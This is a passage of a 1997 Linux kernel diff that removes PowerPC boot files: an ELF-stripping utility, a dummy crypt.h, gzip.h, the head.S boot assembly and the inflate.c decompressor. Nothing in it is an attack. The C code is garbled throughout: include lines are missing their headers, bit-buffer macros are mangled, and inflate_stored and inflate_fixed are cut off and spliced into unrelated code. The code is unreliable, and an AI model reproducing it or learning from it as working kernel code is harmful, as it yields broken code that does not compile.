18:16:36 1997 +++ linux/arch/ppc/boot/cortstrip.c Wed Dec 31 19:00:00 1969 @@ -1,73 +0,0 @@ -#include -#include -#include -#include - -/* amount to skip */ -#define PLACE 65536 - -/* size of read buffer */ -#define SIZE 0x100000 - -/* crude program to strip the elf header to make a bootable - image via tftp - */ - - -int main(int argc, char **argv ) -{ - int fd, fdo; - unsigned char data[SIZE]; - int i, n, skip; - -#if 0 - if ( argc != 3 ) - { - fprintf(stderr,"%s infile outfile\n", argv[0]); - exit(-1); - } -#endif - - - fd = open(argv[1], O_RDONLY); - if ( fd == -1 ) - { - fprintf(stderr,"Couldn't open %s\n", argv[1]); - perror("open()"); - exit(-1); - } - - fdo = open(argv[2], O_WRONLY|O_CREAT|O_TRUNC,0755); - if ( fdo == -1 ) - { - fprintf(stderr,"Couldn't open %s\n", argv[2]); - perror("open()"); - exit(-1); - } - -#if 0 - skip = atoi(argv[3]); -#else - skip = PLACE; -#endif - i = lseek(fd, skip, SEEK_SET); - /*printf("lseek'd %d bytes\n", i);*/ - if ( i == -1 ) - { - perror("lseek()"); - } - - while ( (n = read(fd, data, SIZE)) > 0 ) - { - /*printf("Read %d bytes\n", n);*/ - i = write(fdo, data, n); - /*printf("Wrote %d bytes\n", i); */ - } - - - close(fdo); - close(fd); - return(0); -} - - diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/crypt.h linux/arch/ppc/boot/crypt.h --- linux-2.1.29/arch/ppc/boot/crypt.h Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/crypt.h Wed Dec 31 19:00:00 1969 @@ -1,12 +0,0 @@ -/* crypt.h (dummy version) -- do not perform encryption - * Hardly worth copyrighting :-) - */ - -#ifdef CRYPT -# undef CRYPT /* dummy version */ -#endif - -#define RAND_HEAD_LEN 12 /* length of encryption random header */ - -#define zencode -#define zdecode diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/gzip.h linux/arch/ppc/boot/gzip.h --- linux-2.1.29/arch/ppc/boot/gzip.h Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/gzip.h Wed Dec 31 19:00:00 1969 @@ -1,284 +0,0 @@ -/* gzip.h -- common declarations for all gzip modules - * Copyright (C) 1992-1993 Jean-loup Gailly. - * This is free software; you can redistribute it and/or modify it under the - * terms of the GNU General Public License, see the file COPYING. - */ - -#if defined(__STDC__) || defined(PROTO) -# define OF(args) args -#else -# define OF(args) () -#endif - -#ifdef __STDC__ - typedef void *voidp; -#else - typedef char *voidp; -#endif - -/* I don't like nested includes, but the string functions are used too often */ -#if defined(HAVE_STRING_H) || defined(STDC_HEADERS) -# include -# define memzero(s, n) memset ((s), 0, (n)) -#else -# include -# define strchr index -# define strrchr rindex -# define memcpy(d, s, n) bcopy((s), (d), (n)) -# define memcmp(s1, s2, n) bcmp((s1), (s2), (n)) -# define memzero(s, n) bzero((s), (n)) -#endif - -#if !defined(STDC_HEADERS) && defined(HAVE_MEMORY_H) -# include -#endif - -#ifndef RETSIGTYPE -# define RETSIGTYPE void -#endif - -#define local static - -typedef unsigned char uch; -typedef unsigned short ush; -typedef unsigned long ulg; - -/* Return codes from gzip */ -#define OK 0 -#define ERROR 1 -#define WARNING 2 - -/* Compression methods (see algorithm.doc) */ -#define STORED 0 -#define COMPRESSED 1 -#define PACKED 2 -/* methods 3 to 7 reserved */ -#define DEFLATED 8 -extern int method; /* compression method */ - -/* To save memory for 16 bit systems, some arrays are overlayed between - * the various modules: - * deflate: prev+head window d_buf l_buf outbuf - * unlzw: tab_prefix tab_suffix stack inbuf outbuf - * inflate: window inbuf - * unpack: window inbuf - * For compression, input is done in window[]. For decompression, output - * is done in window except for unlzw. - */ - -#ifndef INBUFSIZ -# define INBUFSIZ 0x8000 /* input buffer size */ -#endif -#define INBUF_EXTRA 64 /* required by unlzw() */ - -#ifndef OUTBUFSIZ -# define OUTBUFSIZ 16384 /* output buffer size */ -#endif -#define OUTBUF_EXTRA 2048 /* required by unlzw() */ - -#define DIST_BUFSIZE 0x8000 /* buffer for distances, see trees.c */ - -#ifdef DYN_ALLOC -# define EXTERN(type, array) extern type * near array -# define DECLARE(type, array, size) type * near array -# define ALLOC(type, array, size) { \ - array = (type*)fcalloc((unsigned)(((size)+1L)/2), 2*sizeof(type)); \ - if (array == NULL) error("insufficient memory"); \ - } -# define FREE(array) {if (array != NULL) fcfree(array), array=NULL;} -#else -# define EXTERN(type, array) extern type array[] -# define DECLARE(type, array, size) type array[size] -# define ALLOC(type, array, size) -# define FREE(array) -#endif - -EXTERN(uch, inbuf); /* input buffer */ -EXTERN(uch, outbuf); /* output buffer */ -EXTERN(ush, d_buf); /* buffer for distances, see trees.c */ -EXTERN(uch, window); /* Sliding window and suffix table (unlzw) */ -#define tab_suffix window -#ifndef MAXSEG_64K -# define tab_prefix prev /* hash link (see deflate.c) */ -# define head (prev+WSIZE) /* hash head (see deflate.c) */ - EXTERN(ush, tab_prefix); /* prefix code (see unlzw.c) */ -#else -# define tab_prefix0 prev -# define head tab_prefix1 - EXTERN(ush, tab_prefix0); /* prefix for even codes */ - EXTERN(ush, tab_prefix1); /* prefix for odd codes */ -#endif - -extern unsigned insize; /* valid bytes in inbuf */ -extern unsigned inptr; /* index of next byte to be processed in inbuf */ -extern unsigned outcnt; /* bytes in output buffer */ - -extern long bytes_in; /* number of input bytes */ -extern long bytes_out; /* number of output bytes */ -extern long overhead; /* number of bytes in gzip header */ - -#define isize bytes_in -/* for compatibility with old zip sources (to be cleaned) */ - -extern int ifd; /* input file descriptor */ -extern int ofd; /* output file descriptor */ -extern char ifname[]; /* input filename or "stdin" */ -extern char ofname[]; /* output filename or "stdout" */ - -extern ulg time_stamp; /* original time stamp (modification time) */ -extern long ifile_size; /* input file size, -1 for devices (debug only) */ - -extern int exit_code; /* program exit code */ - -typedef int file_t; /* Do not use stdio */ -#define NO_FILE (-1) /* in memory compression */ - - -#define GZIP_MAGIC "\037\213" /* Magic header for gzip files, 1F 8B */ -#define OLD_GZIP_MAGIC "\037\236" /* Magic header for gzip 0.5 = freeze 1.x */ -#define PKZIP_MAGIC "PK\003\004" /* Magic header for pkzip files */ -#define PACK_MAGIC "\037\036" /* Magic header for packed files */ - -/* gzip flag byte */ -#define ASCII_FLAG 0x01 /* bit 0 set: file probably ascii text */ -#define CONTINUATION 0x02 /* bit 1 set: continuation of multi-part gzip file */ -#define EXTRA_FIELD 0x04 /* bit 2 set: extra field present */ -#define ORIG_NAME 0x08 /* bit 3 set: original file name present */ -#define COMMENT 0x10 /* bit 4 set: file comment present */ -#define ENCRYPTED 0x20 /* bit 5 set: file is encrypted */ -#define RESERVED 0xC0 /* bit 6,7: reserved */ - -/* internal file attribute */ -#define UNKNOWN (-1) -#define BINARY 0 -#define ASCII 1 - -#ifndef WSIZE -# define WSIZE 0x8000 /* window size--must be a power of two, and */ -#endif /* at least 32K for zip's deflate method */ - -#define MIN_MATCH 3 -#define MAX_MATCH 258 -/* The minimum and maximum match lengths */ - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments about the MIN_MATCH+1. - */ - -#define MAX_DIST (WSIZE-MIN_LOOKAHEAD) -/* In order to simplify the code, particularly on 16 bit machines, match - * distances are limited to MAX_DIST instead of WSIZE. - */ - -extern int decrypt; /* flag to turn on decryption */ -extern int save_orig_name; /* set if original name must be saved */ -extern int verbose; /* be verbose (-v) */ -extern int level; /* compression level */ -extern int test; /* check .z file integrity */ -extern int to_stdout; /* output to stdout (-c) */ - -#define get_byte() (inptr < insize ? inbuf[inptr++] : fill_inbuf()) - -/* put_byte is used for the compressed output, put_char for the - * uncompressed output. However unlzw() uses window for its - * suffix table instead of its output buffer, so it does not use put_char. - * (to be cleaned up). - */ -#define put_byte(c) {outbuf[outcnt++]=(uch)(c); if (outcnt==OUTBUFSIZ)\ - flush_outbuf();} -#define put_char(c) {window[outcnt++]=(uch)(c); if (outcnt==WSIZE)\ - flush_window();} - -/* Output a 16 bit value, lsb first */ -#define put_short(w) \ -{ if (outcnt < OUTBUFSIZ-2) { \ - outbuf[outcnt++] = (uch) ((w) & 0xff); \ - outbuf[outcnt++] = (uch) ((ush)(w) >> 8); \ - } else { \ - put_byte((uch)((w) & 0xff)); \ - put_byte((uch)((ush)(w) >> 8)); \ - } \ -} - -/* Output a 32 bit value to the bit stream, lsb first */ -#define put_long(n) { \ - put_short((n) & 0xffff); \ - put_short(((ulg)(n)) >> 16); \ -} - -#define seekable() 0 /* force sequential output */ -#define translate_eol 0 /* no option -a yet */ - -#define tolow(c) (isupper(c) ? (c)-'A'+'a' : (c)) /* force to lower case */ - -/* Macros for getting two-byte and four-byte header values */ -#define SH(p) ((ush)(uch)((p)[0]) | ((ush)(uch)((p)[1]) << 8)) -#define LG(p) ((ulg)(SH(p)) | ((ulg)(SH((p)+2)) << 16)) - -/* Diagnostic functions */ -#ifdef DEBUG -# define Assert(cond,msg) {if(!(cond)) error(msg);} -# define Trace(x) fprintf x -# define Tracev(x) {if (verbose) fprintf x ;} -# define Tracevv(x) {if (verbose>1) fprintf x ;} -# define Tracec(c,x) {if (verbose && (c)) fprintf x ;} -# define Tracecv(c,x) {if (verbose>1 && (c)) fprintf x ;} -#else -# define Assert(cond,msg) -# define Trace(x) -# define Tracev(x) -# define Tracevv(x) -# define Tracec(c,x) -# define Tracecv(c,x) -#endif - - /* in zip.c: */ -extern void zip OF((int in, int out)); -extern int file_read OF((char *buf, unsigned size)); - - /* in unzip.c */ -extern void unzip OF((int in, int out)); -extern int check_zipfile OF((int in)); - - /* in unpack.c */ -extern void unpack OF((int in, int out)); - - /* in gzip.c */ -RETSIGTYPE abort_gzip OF((void)); - - /* in deflate.c */ -void lm_init OF((int pack_level, ush *flags)); -ulg deflate OF((void)); - - /* in trees.c */ -void ct_init OF((ush *attr, int *method)); -int ct_tally OF((int dist, int lc)); -ulg flush_block OF((char *buf, ulg stored_len, int eof)); - - /* in bits.c */ -void bi_init OF((file_t zipfile)); -void send_bits OF((int value, int length)); -unsigned bi_reverse OF((unsigned value, int length)); -void bi_windup OF((void)); -void copy_block OF((char *buf, unsigned len, int header)); -extern int (*read_buf) OF((char *buf, unsigned size)); - - /* in util.c: */ -extern ulg updcrc OF((uch *s, unsigned n)); -extern void clear_bufs OF((void)); -extern int fill_inbuf OF((void)); -extern void flush_outbuf OF((void)); -extern void flush_window OF((void)); -extern char *strlwr OF((char *s)); -extern char *basename OF((char *fname)); -extern char *add_envopt OF((int *argcp, char ***argvp, char *env)); -extern void error OF((char *m)); -extern void warn OF((char *a, char *b)); -extern void read_error OF((void)); -extern void write_error OF((void)); -extern void display_ratio OF((long num, long den)); -extern voidp xmalloc OF((unsigned int size)); - - /* in inflate.c */ -extern int inflate OF((void)); diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/head.S linux/arch/ppc/boot/head.S --- linux-2.1.29/arch/ppc/boot/head.S Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/head.S Wed Dec 31 19:00:00 1969 @@ -1,237 +0,0 @@ -#include "../kernel/ppc_defs.h" -#include "../kernel/ppc_asm.tmpl" - - .text - -/* - * This code is loaded by the ROM loader at some arbitrary location. - * Move it to high memory so that it can load the kernel at 0x0000. - */ - - .globl start -start: - bl start_ -start_: -/* TEMP - No residual data on BeBox (yet) */ -#if 0 -#define IS_BE_BOX 0x42654278 /* 'BeBx' */ - lis r2,IS_BE_BOX>>16 - ori r2,r2,IS_BE_BOX&0xFFFF - cmp 0,r30,r2 - bne notBeBox - li r3,0 -#endif -notBeBox: -/* TEMP */ - mr r11,r3 /* Save pointer to residual data */ - mfmsr r3 /* Turn off interrupts */ - li r4,0 - ori r4,r4,MSR_EE - andc r3,r3,r4 - mtmsr r3 -/* Copy relocation code down to location 0x0100 (where we hope it's safe!) */ - mflr r3 - addi r5,r3,start_ldr-start_ - addi r3,r3,relocate-start_ - li r4,0x0100 - mtctr r4 - subi r3,r3,4 - subi r4,r4,4 -00: lwzu r6,4(r3) - stwu r6,4(r4) - cmp 0,r3,r5 - bne 00b - mflr r21 - mfctr r22 - bl flush_instruction_cache - mtlr r21 - mtctr r22 - bctr /* Jump to code */ -/* Relocate code to final resting spot */ -relocate: - mflr r3 /* Compute code bias */ - subi r3,r3,4 - mr r8,r3 - lis r4,start@h - ori r4,r4,start@l - lis r5,edata@h - ori r5,r5,edata@l - addi r5,r5,3 /* Round up - just in case */ - sub r5,r5,r4 /* Compute # longwords to move */ - srwi r5,r5,2 - mtctr r5 - mr r7,r5 - li r6,0 - subi r3,r3,4 /* Set up for loop */ - subi r4,r4,4 -00: lwzu r5,4(r3) - stwu r5,4(r4) - xor r6,r6,r5 - bdnz 00b - lis r3,start_ldr@h - ori r3,r3,start_ldr@l - mtlr r3 /* Easiest way to do an absolute jump */ - blr -start_ldr: -/* Clear all of BSS */ - lis r3,edata@h - ori r3,r3,edata@l - lis r4,end@h - ori r4,r4,end@l - subi r3,r3,4 - subi r4,r4,4 - li r0,0 -50: stwu r0,4(r3) - cmp 0,r3,r4 - bne 50b -90: mr r9,r1 /* Save old stack pointer (in case it matters) */ - lis r1,.stack@h - ori r1,r1,.stack@l - addi r1,r1,4096*2 - subi r1,r1,256 - li r2,0x000F /* Mask pointer to 16-byte boundary */ - andc r1,r1,r2 -/* Run loader */ - mr r3,r8 /* Load point */ - mr r4,r7 /* Program length */ - mr r5,r6 /* Checksum */ - mr r6,r11 /* Residual data */ - bl decompress_kernel - /*mr r29,r3*/ /* R3 = TotalMemory */ - /*lis r28,hold_residual@h - ori r28,r28,hold_residual@l*/ - /* changed to use r3 (as firmware does) for kernel - as ptr to residual -- Cort*/ - li r5,0x100 /* Kernel code starts here */ - mtlr r5 - blr -hang: - b hang - - .globl _get_SP -_get_SP: - mr r3,r1 - blr - - .globl _get_PVR -_get_PVR: - mfspr r3,PVR - blr - - .globl _get_MSR -_get_MSR: - mfmsr r3 - blr - - .globl _put_MSR -_put_MSR: - sync - mtmsr r3 - blr - - .globl _get_HID0 -_get_HID0: - mfspr r3,HID0 - blr - - .globl _put_HID0 -_put_HID0: - sync - mtspr HID0,r3 - blr - -/* - * This space [buffer] is used to forceably flush the data cache when - * running in copyback mode. This is necessary IFF the data cache could - * contain instructions for which the instruction cache has stale data. - * Since the instruction cache NEVER snoops the data cache, memory must - * be made coherent with the data cache to insure that the instruction - * cache gets a valid instruction stream. Note that this flushing is - * only performed when switching from system to user mode since this is - * the only juncture [as far as the OS goes] where the data cache may - * contain instructions, e.g. after a disk read. - */ -#define NUM_CACHE_LINES 128*8 -#define CACHE_LINE_SIZE 32 -#if 0 -cache_flush_buffer: - .space NUM_CACHE_LINES*CACHE_LINE_SIZE /* CAUTION! these need to match hardware */ -#else -#define cache_flush_buffer 0x1000 -#endif - - -/* - * Flush instruction cache - * *** I'm really paranoid here! - */ -_GLOBAL(flush_instruction_cache) - mflr r5 - bl flush_data_cache - mfspr r3,HID0 /* Caches are controlled by this register */ - li r4,0 - ori r4,r4,(HID0_ICE|HID0_ICFI) - or r3,r3,r4 /* Need to enable+invalidate to clear */ - mtspr HID0,r3 - andc r3,r3,r4 - ori r3,r3,HID0_ICE /* Enable cache */ - mtspr HID0,r3 - mtlr r5 - blr - -/* - * Flush data cache - * *** I'm really paranoid here! - */ -_GLOBAL(flush_data_cache) - lis r3,cache_flush_buffer@h - ori r3,r3,cache_flush_buffer@l - li r4,NUM_CACHE_LINES - mtctr r4 -#if 0 -00: dcbz 0,r3 /* Flush cache line with minimal BUS traffic */ -#else -00: lwz r4,0(r3) -#endif - addi r3,r3,CACHE_LINE_SIZE /* Next line, please */ - bdnz 00b -10: blr - -/* - * Flush a particular page from the DATA cache - * Note: this is necessary because the instruction cache does *not* - * snoop from the data cache. - * void flush_page(void *page) - */ -_GLOBAL(flush_page) - li r4,0x0FFF - andc r3,r3,r4 /* Get page base address */ - li r4,4096/CACHE_LINE_SIZE /* Number of lines in a page */ - mtctr r4 -00: dcbf 0,r3 /* Clear line */ - icbi 0,r3 - addi r3,r3,CACHE_LINE_SIZE - bdnz 00b - blr - -/* - * Execute a [foreign] function - * - * run(p1, p2, cp, ep, entry) - * - */ - .globl run -run: - mtctr r7 /* Entry point */ -#define IS_PreP 0x50726550 /* 'PreP' */ - lis r30,IS_PreP>>16 - ori r30,r30,IS_PreP&0xFFFF - mr 11,r5 - mr 12,r6 - mr r28,r5 - mr r29,r6 - mr 11,r5 - mr 12,r6 - bctr - - .comm .stack,4096*2,4 diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/inflate.c linux/arch/ppc/boot/inflate.c --- linux-2.1.29/arch/ppc/boot/inflate.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/inflate.c Wed Dec 31 19:00:00 1969 @@ -1,810 +0,0 @@ -#define DEBG(x) -#define DEBG1(x) -/* inflate.c -- Not copyrighted 1992 by Mark Adler - version c10p1, 10 January 1993 */ - -/* - * Adapted for booting Linux by Hannu Savolainen 1993 - * based on gzip-1.0.3 - */ - -#ifndef lint -static char rcsid[] = "$Id: inflate.c,v 0.10 1993/02/04 13:21:06 jloup Exp $"; -#endif - -#include "gzip.h" -#define slide window - -#if defined(STDC_HEADERS) || defined(HAVE_STDLIB_H) -# include -# include -#endif - -struct huft { - uch e; /* number of extra bits or operation */ - uch b; /* number of bits in this code or subcode */ - union { - ush n; /* literal, length base, or distance base */ - struct huft *t; /* pointer to next level of table */ - } v; -}; - - -/* Function prototypes */ -int huft_build OF((unsigned *, unsigned, unsigned, ush *, ush *, - struct huft **, int *)); -int huft_free OF((struct huft *)); -int inflate_codes OF((struct huft *, struct huft *, int, int)); -int inflate_stored OF((void)); -int inflate_fixed OF((void)); -int inflate_dynamic OF((void)); -int inflate_block OF((int *)); -int inflate OF((void)); - - -#define wp outcnt -#define flush_output(w) (wp=(w),flush_window()) - -/* Tables for deflate from PKZIP's appnote.txt. */ -static unsigned border[] = { /* Order of the bit length code lengths */ - 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; -static ush cplens[] = { /* Copy lengths for literal codes 257..285 */ - 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, - 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; - /* note: see note #13 above about the 258 in this list. */ -static ush cplext[] = { /* Extra bits for literal codes 257..285 */ - 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, - 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 99, 99}; /* 99==invalid */ -static ush cpdist[] = { /* Copy offsets for distance codes 0..29 */ - 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, - 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, - 8193, 12289, 16385, 24577}; -static ush cpdext[] = { /* Extra bits for distance codes */ - 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, - 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, - 12, 12, 13, 13}; - - -ulg bb; /* bit buffer */ -unsigned bk; /* bits in bit buffer */ - -ush mask_bits[] = { - 0x0000, - 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff, - 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff -}; - -#ifdef CRYPT - uch cc; -# define NEXTBYTE() \ - (decrypt ? (cc = get_byte(), zdecode(cc), cc) : get_byte()) -#else -# define NEXTBYTE() (uch)get_byte() -#endif -#define NEEDBITS(n) {while(k<(n)){b|=((ulg)NEXTBYTE())<>=(n);k-=(n);} - -int lbits = 9; /* bits in base literal/length lookup table */ -int dbits = 6; /* bits in base distance lookup table */ - - -/* If BMAX needs to be larger than 16, then h and x[] should be ulg. */ -#define BMAX 16 /* maximum bit length of any code (16 for explode) */ -#define N_MAX 288 /* maximum number of codes in any set */ - - -unsigned hufts; /* track memory usage */ - - -int huft_build(b, n, s, d, e, t, m) -unsigned *b; /* code lengths in bits (all assumed <= BMAX) */ -unsigned n; /* number of codes (assumed <= N_MAX) */ -unsigned s; /* number of simple-valued codes (0..s-1) */ -ush *d; /* list of base values for non-simple codes */ -ush *e; /* list of extra bits for non-simple codes */ -struct huft **t; /* result: starting table */ -int *m; /* maximum lookup bits, returns actual */ -/* Given a list of code lengths and a maximum table size, make a set of - tables to decode that set of codes. Return zero on success, one if - the given code set is incomplete (the tables are still built in this - case), two if the input is invalid (all zero length codes or an - oversubscribed set of lengths), and three if not enough memory. */ -{ - unsigned a; /* counter for codes of length k */ - unsigned c[BMAX+1]; /* bit length count table */ - unsigned f; /* i repeats in table every f entries */ - int g; /* maximum code length */ - int h; /* table level */ - register unsigned i; /* counter, current code */ - register unsigned j; /* counter */ - register int k; /* number of bits in current code */ - int l; /* bits per table (returned in m) */ - register unsigned *p; /* pointer into c[], b[], or v[] */ - register struct huft *q; /* points to current table */ - struct huft r; /* table entry for structure assignment */ - struct huft *u[BMAX]; /* table stack */ - unsigned v[N_MAX]; /* values in order of bit length */ - register int w; /* bits before this table == (l * h) */ - unsigned x[BMAX+1]; /* bit offsets, then code stack */ - unsigned *xp; /* pointer into x */ - int y; /* number of dummy codes added */ - unsigned z; /* number of entries in current table */ - -DEBG("huft1 "); - - /* Generate counts for each bit length */ - memzero(c, sizeof(c)); - p = b; i = n; - do { - c[*p++]++; /* assume all entries <= BMAX */ - } while (--i); - if (c[0] == n) /* null input--all zero length codes */ - { - *t = (struct huft *)NULL; - *m = 0; - return 0; - } - -DEBG("huft2 "); - - /* Find minimum and maximum length, bound *m by those */ - l = *m; - for (j = 1; j <= BMAX; j++) - if (c[j]) - break; - k = j; /* minimum code length */ - if ((unsigned)l < j) - l = j; - for (i = BMAX; i; i--) - if (c[i]) - break; - g = i; /* maximum code length */ - if ((unsigned)l > i) - l = i; - *m = l; - -DEBG("huft3 "); - - /* Adjust last length count to fill out codes, if needed */ - for (y = 1 << j; j < i; j++, y <<= 1) - if ((y -= c[j]) < 0) - return 2; /* bad input: more codes than bits */ - if ((y -= c[i]) < 0) - return 2; - c[i] += y; - -DEBG("huft4 "); - - /* Generate starting offsets into the value table for each length */ - x[1] = j = 0; - p = c + 1; xp = x + 2; - while (--i) { /* note that i == g from above */ - *xp++ = (j += *p++); - } - -DEBG("huft5 "); - - /* Make a table of values in order of bit lengths */ - p = b; i = 0; - do { - if ((j = *p++) != 0) - v[x[j]++] = i; - } while (++i < n); - -DEBG("h6 "); - - /* Generate the Huffman codes and for each, make the table entries */ - x[0] = i = 0; /* first Huffman code is zero */ - p = v; /* grab values in bit order */ - h = -1; /* no tables yet--level -1 */ - w = -l; /* bits decoded == (l * h) */ - u[0] = (struct huft *)NULL; /* just to keep compilers happy */ - q = (struct huft *)NULL; /* ditto */ - z = 0; /* ditto */ -DEBG("h6a "); - - /* go through the bit lengths (k already is bits in shortest code) */ - for (; k <= g; k++) - { -DEBG("h6b "); - a = c[k]; - while (a--) - { -DEBG("h6b1 "); - /* here i is the Huffman code of length k bits for value *p */ - /* make tables up to required level */ - while (k > w + l) - { -DEBG1("1 "); - h++; - w += l; /* previous table always l bits */ - - /* compute minimum size table less than or equal to l bits */ - z = (z = g - w) > (unsigned)l ? l : z; /* upper limit on table size */ - if ((f = 1 << (j = k - w)) > a + 1) /* try a k-w bit table */ - { /* too few codes for k-w bit table */ -DEBG1("2 "); - f -= a + 1; /* deduct codes from patterns left */ - xp = c + k; - while (++j < z) /* try smaller tables up to z bits */ - { - if ((f <<= 1) <= *++xp) - break; /* enough codes to use up j bits */ - f -= *xp; /* else deduct codes from patterns */ - } - } -DEBG1("3 "); - z = 1 << j; /* table entries for j-bit table */ - - /* allocate and link in new table */ - q = (struct huft *)malloc((z + 1)*sizeof(struct huft)); -DEBG1("4 "); - hufts += z + 1; /* track memory usage */ - *t = q + 1; /* link to list for huft_free() */ - *(t = &(q->v.t)) = (struct huft *)NULL; - u[h] = ++q; /* table starts after link */ - -DEBG1("5 "); - /* connect to last table, if there is one */ - if (h) - { - x[h] = i; /* save pattern for backing up */ - r.b = (uch)l; /* bits to dump before this table */ - r.e = (uch)(16 + j); /* bits in this table */ - r.v.t = q; /* pointer to this table */ - j = i >> (w - l); /* (get around Turbo C bug) */ - u[h-1][j] = r; /* connect to last table */ - } -DEBG1("6 "); - } -DEBG("h6c "); - - /* set up table entry in r */ - r.b = (uch)(k - w); - if (p >= v + n) - r.e = 99; /* out of values--invalid code */ - else if (*p < s) - { - r.e = (uch)(*p < 256 ? 16 : 15); /* 256 is end-of-block code */ - r.v.n = *p++; /* simple code is just the value */ - } - else - { - r.e = (uch)e[*p - s]; /* non-simple--look up in lists */ - r.v.n = d[*p++ - s]; - } -DEBG("h6d "); - - /* fill code-like entries with r */ - f = 1 << (k - w); - for (j = i >> w; j < z; j += f) - q[j] = r; - - /* backwards increment the k-bit code i */ - for (j = 1 << (k - 1); i & j; j >>= 1) - i ^= j; - i ^= j; - - /* backup over finished tables */ - while ((i & ((1 << w) - 1)) != x[h]) - { - h--; /* don't need to update q */ - w -= l; - } -DEBG("h6e "); - } -DEBG("h6f "); - } - -DEBG("huft7 "); - - /* Return true (1) if we were given an incomplete table */ - return y != 0 && g != 1; -} - - - -int huft_free(t) -struct huft *t; /* table to free */ -/* Free the malloc'ed tables built by huft_build(), which makes a linked - list of the tables it made, with the links in a dummy first entry of - each table. */ -{ - register struct huft *p, *q; - - - /* Go through linked list, freeing from the malloced (t[-1]) address. */ - p = t; - while (p != (struct huft *)NULL) - { - q = (--p)->v.t; - free(p); - p = q; - } - return 0; -} - - -int inflate_codes(tl, td, bl, bd) -struct huft *tl, *td; /* literal/length and distance decoder tables */ -int bl, bd; /* number of bits decoded by tl[] and td[] */ -/* inflate (decompress) the codes in a deflated (compressed) block. - Return an error code or zero if it all goes ok. */ -{ - register unsigned e; /* table entry flag/number of extra bits */ - unsigned n, d; /* length and index for copy */ - unsigned w; /* current window position */ - struct huft *t; /* pointer to table entry */ - unsigned ml, md; /* masks for bl and bd bits */ - register ulg b; /* bit buffer */ - register unsigned k; /* number of bits in bit buffer */ - - - /* make local copies of globals */ - b = bb; /* initialize bit buffer */ - k = bk; - w = wp; /* initialize window position */ - - /* inflate the coded data */ - ml = mask_bits[bl]; /* precompute masks for speed */ - md = mask_bits[bd]; - for (;;) /* do until end of block */ - { - NEEDBITS((unsigned)bl) - if ((e = (t = tl + ((unsigned)b & ml))->e) > 16) - do { - if (e == 99) - return 1; - DUMPBITS(t->b) - e -= 16; - NEEDBITS(e) - } while ((e = (t = t->v.t + ((unsigned)b & mask_bits[e]))->e) > 16); - DUMPBITS(t->b) - if (e == 16) /* then it's a literal */ - { - slide[w++] = (uch)t->v.n; - if (w == WSIZE) - { - flush_output(w); - w = 0; - } - } - else /* it's an EOB or a length */ - { - /* exit if end of block */ - if (e == 15) - break; - - /* get length of block to copy */ - NEEDBITS(e) - n = t->v.n + ((unsigned)b & mask_bits[e]); - DUMPBITS(e); - - /* decode distance of block to copy */ - NEEDBITS((unsigned)bd) - if ((e = (t = td + ((unsigned)b & md))->e) > 16) - do { - if (e == 99) - return 1; - DUMPBITS(t->b) - e -= 16; - NEEDBITS(e) - } while ((e = (t = t->v.t + ((unsigned)b & mask_bits[e]))->e) > 16); - DUMPBITS(t->b) - NEEDBITS(e) - d = w - t->v.n - ((unsigned)b & mask_bits[e]); - DUMPBITS(e) - - /* do the copy */ - do { - n -= (e = (e = WSIZE - ((d &= WSIZE-1) > w ? d : w)) > n ? n : e); -#if !defined(NOMEMCPY) && !defined(DEBUG) - if (w - d >= e) /* (this test assumes unsigned comparison) */ - { - memcpy(slide + w, slide + d, e); - w += e; - d += e; - } - else /* do it slow to avoid memcpy() overlap */ -#endif /* !NOMEMCPY */ - do { - slide[w++] = slide[d++]; - } while (--e); - if (w == WSIZE) - { - flush_output(w); - w = 0; - } - } while (n); - } - } - - - /* restore the globals from the locals */ - wp = w; /* restore global window pointer */ - bb = b; /* restore global bit buffer */ - bk = k; - - /* done */ - return 0; -} - - - -int inflate_stored() -/* "decompress" an inflated type 0 (stored) block. */ -{ - unsigned n; /* number of bytes in block */ - unsigned w; /* current window position */ - register ulg b; /* bit buffer */ - register unsigned k; /* number of bits in bit buffer */ - -DEBG(""); - return 0; -} - - - -int inflate_fixed() -/* decompress an inflated type 1 (fixed Huffman codes) block. We should - either replace this with a custom decoder, or at least precompute the - Huffman tables. */ -{ - int i; /* temporary variable */ - struct huft *tl; /* literal/length code table */ - struct huft *td; /* distance code table */ - int bl; /* lookup bits for tl */ - int bd; /* lookup bits for td */ - unsigned l[288]; /* length list for huft_build */ - -DEBG(" 1) - { - huft_free(tl); - - DEBG(">"); - return i; - } - - - /* decompress until an end-of-block code */ - if (inflate_codes(tl, td, bl, bd)) - return 1; - - - /* free the decoding tables, return */ - huft_free(tl); - huft_free(td); - return 0; -} - - - -int inflate_dynamic() -/* decompress an inflated type 2 (dynamic Huffman codes) block. */ -{ - int i; /* temporary variables */ - unsigned j; - unsigned l; /* last length */ - unsigned m; /* mask for bit lengths table */ - unsigned n; /* number of lengths to get */ - struct huft *tl; /* literal/length code table */ - struct huft *td; /* distance code table */ - int bl; /* lookup bits for tl */ - int bd; /* lookup bits for td */ - unsigned nb; /* number of bit length codes */ - unsigned nl; /* number of literal/length codes */ - unsigned nd; /* number of distance codes */ -#ifdef PKZIP_BUG_WORKAROUND - unsigned ll[288+32]; /* literal/length and distance code lengths */ -#else - unsigned ll[286+30]; /* literal/length and distance code lengths */ 